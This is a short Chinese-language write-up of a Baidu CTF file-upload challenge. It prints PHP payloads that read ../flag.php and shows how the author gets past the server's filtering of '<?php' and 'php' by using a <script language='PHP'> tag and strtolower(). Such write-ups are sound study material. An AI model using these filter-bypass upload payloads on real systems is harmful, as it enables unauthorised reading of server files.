好久没有去联系联系了,今天做了一道关于Upload的题,分享一下
目录
拿题目
?找思路
得到结果
成功
拿题目
这道题目是百度CTF题目,题干如下:

?找思路
题干中提示 tips:flag在flag.php中。看到题干后,可以上传任意文件,并且上传之后可以打开文件,想到上传一段php代码来打开flag.php页面:
<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.php"));
fclose($fh);
?>

?上传后,发现<?php被过滤了: $fh=fopen('../flag.','r'); echo fread($fh,filesize("../flag.")); fclose($fh); ?> ?想着用大写绕过php:
<?php
$fh=fopen('../flag.php','r');
echo fread($fh,filesize("../flag.PHP"));
fclose($fh);
?>
?结果返回: PHP$fh=fopen('../flag.PHP','r'); echo fread($fh,filesize("../flag.PHP")); fclose($fh); ?>

于是用<script language="PHP">绕过过滤的<?,用函数strtolower("PHP")过滤的php:
<script language="PHP"> $fh=fopen("../flag.".strtolower("PHP"),'r'); echo fread($fh,filesize("../flag.".strtolower("PHP")));? fclose($fh); </script>
得到结果
查看一下源码,得到了flag
?
成功
?
?
?
?
?
|